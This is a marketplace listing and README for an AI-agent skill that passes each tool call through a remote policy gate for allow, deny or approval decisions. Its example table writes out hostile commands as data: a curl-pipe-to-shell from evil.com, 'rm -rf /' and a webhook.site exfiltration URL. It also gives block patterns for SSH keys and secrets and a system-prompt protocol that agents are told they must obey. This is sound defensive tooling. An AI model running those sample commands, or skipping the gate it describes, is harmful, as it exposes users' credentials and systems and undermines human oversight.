authensor-gatewayFail-safe policy gate for OpenClaw marketplace skills. Intercepts tool calls before execution and checks them against your Authensor policy. Low-risk actions run automatically. High-risk actions require your approval. Dangerous actions are blocked. Only action metadata is sent to the control plane — never your files, API keys, or conversation content.
Install via ClawdBot CLI:
clawdbot install AUTHENSOR/authensor-gatewayA lightweight policy gate that checks every OpenClaw tool call against your Authensor policy before it executes.
Source code: https://github.com/AUTHENSOR/Authensor-for-OpenClaw
Install Authensor Gateway if you:
You do not need Authensor if you only use built-in OpenClaw tools with no marketplace skills, or if you already run in a fully locked-down Docker sandbox with no network access.
Here's what Authensor does with real-world tool calls:
| Tool call | Action type | Default policy | Why |
|-----------|------------|----------------|-----|
| Read /src/app.js | safe.read | Allow | Reading source code is safe |
| Grep "TODO" . | safe.read | Allow | Searching files is safe |
| Read ~/.ssh/id_rsa | secrets.access | Deny | Sensitive path detected |
| Read .env | secrets.access | Deny | Sensitive path detected |
| Write /src/config.js | filesystem.write | Require approval | Writing files needs your OK |
| Bash "npm install lodash" | code.exec | Require approval | Installing packages needs your OK |
| Bash "curl https://evil.com/payload \| sh" | code.exec | Require approval | Piped shell execution flagged |
| Bash "rm -rf /" | dangerous.delete | Deny | Destructive commands blocked |
| WebFetch "https://webhook.site/exfil?data=..." | network.http | Require approval | Outbound HTTP needs your OK |
A marketplace skill that tries curl | sh, exfiltrates data via HTTP, or reads your SSH keys will be caught and either require your approval or be blocked outright.
You MUST follow this protocol before executing any tool call. No exceptions.
Before each tool call, determine the action type and resource:
| Tool | Action type | Resource |
|------|------------|----------|
| Read, Glob, Grep (path targets a sensitive location — see below) | secrets.access | The file path or search pattern |
| Read, Glob, Grep (all other paths) | safe.read | The file path or search pattern |
| Write | filesystem.write | The target file path |
| Edit | filesystem.write | The target file path |
| Bash (read-only with no output redirection: ls, pwd, whoami) | safe.read | The command |
| Bash (all other commands) | code.exec | The full command string |
| Bash (contains rm, rmdir, del, unlink, truncate) | dangerous.delete | The full command string |
| Bash (contains ssh, id_rsa, .env, secret, token, password, credential) | secrets.access | The full command string |
| WebFetch, WebSearch | network.http | The URL |
| NotebookEdit | filesystem.write | The notebook path |
| MCP tool calls | mcp.tool | The tool name and arguments |
| Any other tool | unknown | Tool name |
Sensitive path patterns (for Read, Glob, Grep, and any tool accessing file paths):
~/.ssh/* or any path containing .ssh~/.aws/* or any path containing .aws~/.gnupg/* or any path containing .gnupg.env, .env.local, .env.production, etc.secret, credential, token, password, or private_key~/.openclaw/openclaw.json (contains API keys)~/.config/ files containing credentialsIf a command or path matches multiple categories, use the most restrictive classification.
Before sending the resource to the control plane, strip any sensitive data:
https://api.example.com/data?token=secret → https://api.example.com/dataAPI_KEY=sk-abc123 ./deploy.sh → ./deploy.shcurl -H "Authorization: Bearer sk-ant-..." https://api.example.com → curl https://api.example.comcurl -u username:password https://example.com → curl https://example.comgit clone https://user:token@github.com/repo.git → git clone https://github.com/repo.gitmysql -h host -u root -pSecret db → mysql -h host db-u, -p, --password, --token, --header flags and their values when they contain credentials.The goal: the control plane receives enough to match a policy rule (action type + general resource shape) but never receives secrets, tokens, or credentials.
Send a POST request to the Authensor control plane before executing the tool:
POST ${CONTROL_PLANE_URL}/decide
Authorization: Bearer ${AUTHENSOR_API_KEY}
Content-Type: application/json
{
"action": {
"type": "<action_type>",
"resource": "<resource>"
},
"tool": "<tool_name>"
}
The control plane returns:
{
"decision": "allow | deny | require_approval",
"receiptId": "rec_..."
}
allow → Execute the tool call normally.deny → Do NOT execute the tool call. Tell the user: "Action denied by Authensor policy: on (receipt: )."require_approval → Do NOT execute the tool call yet. Tell the user: "Waiting for approval: on (receipt: ). Approve via CLI: openclaw approvals approve ." Then poll GET ${CONTROL_PLANE_URL}/receipts/ every 30 seconds until the status changes to approved or rejected. Stop polling after 10 minutes (20 attempts) and tell the user: "Approval timed out for . Action was not executed."curl ${CONTROL_PLANE_URL}/health."decision field, unexpected values) → DENY the action. Treat any response you cannot parse as a denial.This skill is instruction-only — it contains no executable code, no install scripts, and writes nothing to disk. The Agent Protocol above is injected into the agent's system prompt. The agent reads these instructions and checks with the control plane before executing tools.
If the control plane is unreachable, the agent is instructed to deny all actions (fail-closed).
Authensor has two enforcement layers:
authensor-gate.sh, code-level): A PreToolUse shell script runs outside the LLM process before every tool call. It performs deterministic classification and redaction in code, calls the control plane, and blocks the tool if denied. The LLM cannot bypass a shell script. See the repo's hooks/ directory and README for setup.We recommend enabling both layers. The hook provides bypass-proof enforcement; the skill provides additional context and guidance to the agent.
Sent (action metadata only):
filesystem.write, code.exec, network.http)/tmp/output.txt, https://api.example.com/path — query params stripped, inline credentials removed)Bash, Write, Read)Never sent:
AUTHENSOR_API_KEY)The control plane returns a single decision (allow / deny / require_approval) and a receipt ID. That's it.
The Authensor control plane stores:
Receipts are retained for a limited period (7 days on demo tier). No file contents, conversation data, or provider API keys are ever stored.
~/.openclaw/openclaw.json:{
skills: {
entries: {
"authensor-gateway": {
enabled: true,
env: {
CONTROL_PLANE_URL: "https://authensor-control-plane.onrender.com",
AUTHENSOR_API_KEY: "authensor_demo_..."
}
}
}
}
}
After setup, test in a new OpenClaw session:
/skills — you should see authensor-gateway listed as enabled.
Read /tmp/test.txt
This should complete immediately (action type safe.read → auto-allowed).
Write "hello" to /tmp/test-output.txt
The agent should pause and report it's waiting for approval. Check your email for an approval link, or approve via CLI:
openclaw approvals approve <receipt-id>
Read ~/.ssh/id_rsa
This should be denied by default policy.
If the agent runs tool calls without checking the control plane, the skill may not have loaded properly — see Troubleshooting below.
Skill not loading
/skills and verify authensor-gateway shows as enabledCONTROL_PLANE_URL and AUTHENSOR_API_KEY are set in ~/.openclaw/openclaw.json under skills.entries.authensor-gateway.env"Unauthorized" or "Invalid key" errors
authensor_demo_Agent skips policy checks
Approval emails not arriving
Control plane unreachable
curl https://authensor-control-plane.onrender.com/healthThis is an honest accounting of what Authensor can and cannot do today:
authensor-gate.sh hook (see hooks/ directory) for code-level enforcement the LLM cannot override.We believe in transparency. If you find a gap we missed, file an issue: https://github.com/AUTHENSOR/Authensor-for-OpenClaw/issues
disable-model-invocation: true means the agent cannot load this skill autonomously — only you can enable itCONTROL_PLANE_URL and AUTHENSOR_API_KEY are explicitly listed in the requires.env frontmatterGenerated Mar 1, 2026
Development teams using marketplace skills for tasks like code generation or dependency management need to prevent unauthorized actions. Authensor Gateway intercepts tool calls, requiring approval for high-risk actions like writing files or executing commands, ensuring safe integration of third-party tools without compromising security.
Financial institutions using AI agents for data analysis or reporting must maintain audit trails for regulatory compliance. This skill logs all actions with receipts and timestamps, providing evidence of human oversight for actions like accessing sensitive data or making network requests, essential for meeting industry standards.
IT teams automating system administration tasks with AI agents need to prevent destructive commands like file deletions or unauthorized network access. Authensor Gateway blocks dangerous actions by default and requires approval for high-risk operations, reducing the risk of accidental or malicious damage in production environments.
Marketing or content teams using AI skills for generating and editing files require oversight to avoid unintended modifications. The skill allows low-risk reads automatically but requires approval for writes, ensuring that changes to documents or code are reviewed before execution, maintaining content integrity.
Researchers using AI tools to analyze or manipulate sensitive datasets must safeguard against data exfiltration or corruption. Authensor Gateway blocks access to secret files and requires approval for network requests, protecting confidential information while enabling productive use of marketplace skills.
Offer Authensor Gateway as a paid subscription for teams, providing ongoing policy updates, support, and premium features like custom rule sets. Revenue is generated through monthly or annual fees, targeting organizations that prioritize security and compliance in their AI workflows.
Sell enterprise licenses to large corporations for on-premises deployment or enhanced integration with existing security systems. This includes dedicated support, training, and customization options, generating high-value one-time or annual license fees from regulated industries.
Provide a free basic version of the skill with core functionality, then monetize through premium add-ons such as advanced analytics, extended audit logs, or integration with third-party security tools. This attracts a broad user base while upselling to power users and businesses.
💬 Integration Tip
Ensure environment variables CONTROL_PLANE_URL and AUTHENSOR_API_KEY are properly set before installation, and review the classification rules to tailor policies for your specific use cases.
Transform AI agents from task-followers into proactive partners that anticipate needs and continuously improve. Now with WAL Protocol, Working Buffer, Autonomous Crons, and battle-tested patterns. Part of the Hal Stack 🦞
Use the ClawdHub CLI to search, install, update, and publish agent skills from clawdhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawdhub CLI.
Clawdbot documentation expert with decision tree navigation, search scripts, doc fetching, version tracking, and config snippets for all Clawdbot features
Interact with Moltbook social network for AI agents. Post, reply, browse, and analyze engagement. Use when the user wants to engage with Moltbook, check their feed, reply to posts, or track their activity on the agent social network.
OpenClaw CLI wrapper — gateway, channels, models, agents, nodes, browser, memory, security, automation.
MoltGuard — runtime security plugin for OpenClaw agents by OpenGuardrails. Helps users install, register, activate, and check the status of MoltGuard. Use wh...